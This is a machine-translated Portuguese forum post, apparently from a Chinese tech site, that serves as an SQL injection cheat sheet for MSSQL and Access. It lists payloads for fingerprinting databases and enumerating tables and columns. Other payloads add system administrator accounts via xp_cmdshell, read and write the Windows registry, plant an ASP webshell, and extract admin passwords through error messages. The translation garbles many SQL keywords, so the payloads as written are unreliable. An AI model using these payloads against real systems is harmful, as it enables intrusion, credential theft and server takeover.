Este artigo é um artigo espelhado de tradução automática, por favor clique aqui para ir para o artigo original.

Vista: 14167|Resposta: 0

[Comunicação Segura] Instruções comuns de injeção SQL

[Copiar link]
Publicado em 22/11/2014 17:17:21 | | |
1. Determinar se há uma injeção
; e 1=1
; e 1=2

2. Julgamento preliminar se é mssql
; e usuário>0

3. Julgar o sistema de banco de dados
; e (select count(*) from sysobjects)>0 mssql
; e (select count(*) do msysobjects)>0 acesso

4. O parâmetro de injeção é um caractere
'e [critérios de consulta] e ''='

5. Não há parâmetros filtrados durante a busca
'e [critérios de consulta] e '%25'='

6. Adivinhe o nome da mesa
; e (selecione Contagem(*) de [nome da tabela])>0

7. Adivinhe o campo
; e (selecionar Contagem(nome do campo) a partir do nome da tabela)>0

8. Adivinhe o comprimento do disco no campo
; e (selecione a lente top 1 (nome do campo) do nome da tabela)>0

9. (1) Adivinhar o valor ASCII do campo (acesso)
; e (selecione top 1 asc(mid(nome do campo, 1,1)) do nome da tabela)>0

(2) Adivinhar o valor ASCII do campo (mssql)
; e (selecione top 1 unicode(substring(nome do campo,1,1)) do nome da tabela)>0

10. Estrutura de Permissão de Teste (mssql)
; e 1=(selecione IS_SRVROLEMEMBER('sysadmin')); --
; e 1=(selecione IS_SRVROLEMEMBER('serveradmin')); --
; e 1=(selecione IS_SRVROLEMEMBER('setupadmin')); --
; e 1=(selecione IS_SRVROLEMEMBER('securityadmin')); --
; e 1=(selecione IS_SRVROLEMEMBER('diskadmin')); --
; e 1=(selecionar IS_SRVROLEMEMBER('bulkadmin')); --
; e 1=(selecionar IS_MEMBER('db_owner')); --

11. Adicionar uma conta para mssql e o sistema
; Nome de usuário master.dbo.sp_addlogin executivo; --
; exec master.dbo.sp_password null, nome de usuário, senha; --
; nome de usuário de administrador de sistemas master.dbo.sp_addsrvrolemember exec; --
; Executivo master.dbo.xp_cmdshell 'Nome de usuário da internet senha /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; --
; Exec master.dbo.xp_cmdshell 'Nome de usuário da internet senha /add'; --
; exec master.dbo.xp_cmdshell 'Administrador de grupo local da rede usuário /add'; --

12. (1) Percorra o catálogo
; Criar diretores de tabela (paths varchar(100), id int)
; Insira direções executivas master.dbo.xp_dirtree 'C:\'
; e (selecione os caminhos top 1 das direções)>0
; e (selecione os caminhos top 1 das direções onde caminhos não estão em('caminhos obtidos a partir do passo anterior'))>)

(2) Atravessar o catálogo
; crie a temperatura da tabela (id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; insira o executivo temporário master.dbo.xp_availablemedia; -- Obter todos os drives de corrente
; inserir no temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Obter uma lista de subdiretórios
; inserir no executivo temp(id,num1) master.dbo.xp_dirtree 'c:\'; -- Obter a estrutura de árvore de diretórios para todos os subdiretórios
; inserir no temp(id) exec master.dbo.xp_cmdshell 'tipo C:\web\index.asp'; -- Visualizar o conteúdo do arquivo

13. Procedimentos armazenados em mssql
xp_regenumvalues Chave raiz do registro, chave filho
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' retorna todos os valores-chave em múltiplos conjuntos de registros
xp_regread Chave raiz, chave filha, nome chave-valor
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion', 'CommonFilesDir' retorna o valor da chave de conjunto
xp_regwrite Chave raiz, chave filha, nome do valor, tipo de valor, valor
Existem dois tipos de valores REG_SZ REG_DWORD para tipos de caracteres e para inteiros
; exec xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName', 'reg_sz', 'olá' para o registro
xp_regdeletevalue Chave raiz, subchave, nome do valor
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' para remover um valor
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' para remover a chave, incluindo todos os valores sob essa chave

14. Backup MSSQL cria um webshell
Usar modelo
criar tabela cmd(imagem str);
inserir em cmd(str) valores ('<% Dim oScript %>');
Faça backup do modelo do banco de dados para disco='c:\l.asp';

15. Funções embutidas do MSSQL
; e (selecione @@version)>0 para obter o número de versão do Windows
; e user_name()='dbo' para determinar se o usuário conectado do sistema atual é SA
; e (selecione user_name())>0 Explodiu os usuários conectados do sistema atual
; e (selecione db_name())>0 para obter o banco de dados atualmente conectado



Violação de banco de dados anotada manualmente por MSSQL

1. Expor o nome atual da tabela e o nome da coluna
Envie "'having 1=1--" após o ponto de injeção para receber a mensagem de retorno em inglês, na qual você pode ver o nome da tabela e o nome da coluna. Envie "grupo pelo nome da lista tendo 1=1--" para obter outro nome de coluna; Continue a enviar "agrupar pela lista do nome da tabela exposta, o nome da tabela exposta". O nome da segunda coluna tem 1=1--", o que te dá outro nome de coluna. Faça commit da mesma forma até que a página não retorne mais mensagens de erro para obter todos os nomes das colunas. Curiosidades: Nomes violentos de tabelas e nomes de colunas são usados em combinação com GROUP BY em instruções SQL para fazer julgamentos condicionais. Como a instrução está incompleta, o banco de dados retorna uma mensagem de erro e exibe o nome da tabela e o nome da coluna. O método básico só pode expor a tabela atual no banco de dados, e se uma tabela contiver muitos nomes de colunas, é muito difícil usar o método básico.

Primeiro. Todos os nomes de bancos de dados são expostos
Use a instrução "and 0<>(select count(*) from master.dbo.sysdatabases onde name>1 e dbid=[N])" para expor nomes arbitrários de tabelas e colunas no banco de dados, onde "[N]" representa a N-ésima tabela do banco de dados.
Passo 1: Após injetar o ponto, envie a seguinte instrução: "e 0<>(select count(*) from master.dbo.sysdatabases onde name>1 e dbid=12)", porque o valor de dbid vai de 1 a 5, que é usado pelo sistema, então o usuário deve ter construído a partir do 6, e nós enviamos o nome>1, o campo de nome é um campo de tipo de caractere, e a comparação numérica estará errada, então após o envio, o IE retornará a seguinte informação: "Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] converte o valor nvarchar 'Northwind' para o tipo de dado int coluna. Dessa forma, o valor do campo nome é exposto, ou seja, obtemos um nome de banco de dados: "Northwind". Alterar o valor de "dbid" pode obter todos os nomes do banco de dados.

e 0<>(select count(*) do master.dbo.sysdatabases onde name>1 e dbid=[N])-- Modificar N para explodir todos os nomes de banco de dados a partir de 6


Segundo. Expor todos os nomes de tabelas no banco de dados especificado
Depois de obter o nome do banco de dados, agora você precisa obter todos os nomes das tabelas na biblioteca, enviar a seguinte instrução: "e 0<>(selecione o nome principal 1 de master.dbo.sysobjects onde xtype='U')", aqui está o nome da tabela no banco de dados mestre, e a instrução SQL da consulta retorna o valor do nome, e então compare com o número 0, para que o valor do nome seja exposto. Após o envio, o nome da tabela era "'spt_monito" foi revelado.
Depois, as outras tabelas são expostas, e a seguinte declaração é enviada: "e 0<>(selecione o nome top 1 de master.dbo.sysobjects onde xtype='U' e nome que não está em('spt_monito'))", e outra tabela chamada "cd512" é exposta. Arquivo "e nome não em(' spt_monito',' CD512',..))" Você pode descobrir todos os nomes das tabelas.

e 0<>(selecione o nome top 1 de [especificar nome do banco de dados].dbo.sysobjects onde xtype='U')--
e 0<>(selecione o nome top 1 de [especificar nome do banco de dados].dbo.sysobjects onde xtype='U' e name not in('[Nome da tabela explodida]'))--
e 0<>(selecione o nome top 1 de [especificar nome do banco de dados].dbo.sysobjects onde xtype='U' e nome não em('[Nome da tabela explosiva]', '[Nome da segunda tabela explodida]'))))--

4. Expor todos os nomes das colunas na tabela especificada
e 0<>(select count(*) de bbs.dbo.sysobjects onde xtype='U' e name='admin' e uid>(str(id)))
Converta o valor do ID para um tipo de caractere e depois compare com um valor inteiro. O número de identificação saiu. O valor é: 949578421 nome='nome da tabela'

e 0<>(selecione o nome principal 1 de wutong.dbo.syscolumns onde id=949578421)-- Um nome de campo na tabela de administração é exposto

Reenviar e 0<>(selecione o nome top 1 de wutong.dbo.syscolumns onde id=949578421 e nome não em('adduser')))--
Arquivo "e nome não em(' spt_monito',' CD512',..))" Você pode encontrar todos os nomes dos campos na tabela de administração.


e 0<>(select count(*) de [especificar nome do banco de dados].dbo.sysobjects onde xtype='U' e name='[Nome da tabela do campo a ser explodido]' e uid>(str(id))))--O valor ID do nome da tabela do campo a ser explodido

e 0<>(selecione o nome do topo 1 em [especificar nome do banco de dados].dbo.syscolumns onde id=valor de id explodido)-- O nome de um campo na tabela de valores de id explosivo

e 0<>(selecione o nome top 1 de [especificar nome do banco de dados].dbo.syscolumns onde id=Valor e nome do Explosivo que não está em('[Nome do campo explodido]')))--



5. Leia os dados na tabela especificada

e 0<(select A_ID from wutong.dbo.admin onde A_UserID>1) — o conteúdo que quebrou A_PWD

e 0<(selecione [um campo que existe] de [especificar nome do banco de dados].dbo.[nome da tabela para consulta] onde [nome do campo para expandir conteúdo]>1)--

e 0<(selecione A_ID em wutong.dbo.admin onde A_PWD>1 e A_UserID='admin') — A senha do administrador é exposta


e 0<(Selecione Top 1 A_UserID FROM admin onde A_ID<>1)-- O nome do administrador do id<>1 (fuhao)

e 0<(Selecione Top 1 A_UserID FROM admin onde A_ID <>1 e A_UserID <> 'fuhao')-- O nome do segundo admin não <> igual a (tuiguang)

e 0<(Selecione Top 1 A_UserID FROM admin onde A_ID <>1 e A_UserID <> 'fuhao' e A_UserID <> 'tuiguang')--

Depois de saber o nome da tabela e da coluna do banco de dados, você pode usar a "consulta de instrução" para ler qualquer informação no banco de dados. Por exemplo, se você quiser ler os dados N-ésimos em uma coluna de uma tabela, pode enviar a instrução: "e (Selecione Top 1 nome da coluna FROM nome da tabela onde id=[N])>1" ([N] representa os dados N-ésimos na coluna), e você pode saber os dados desejados a partir das informações retornadas pelo IE.






Anterior:Como esconder um arquivo rar comprimido em um arquivo jpg
Próximo:Colecionar "Harry Potter" 1~7 Tire e compartilhe Se não gostar, não borrife
Disclaimer:
Todo software, material de programação ou artigos publicados pela Code Farmer Network são apenas para fins de aprendizado e pesquisa; O conteúdo acima não deve ser usado para fins comerciais ou ilegais, caso contrário, os usuários terão todas as consequências. As informações deste site vêm da Internet, e disputas de direitos autorais não têm nada a ver com este site. Você deve deletar completamente o conteúdo acima do seu computador em até 24 horas após o download. Se você gosta do programa, por favor, apoie um software genuíno, compre o registro e obtenha serviços genuínos melhores. Se houver qualquer infração, por favor, entre em contato conosco por e-mail.

Mail To:help@itsvse.com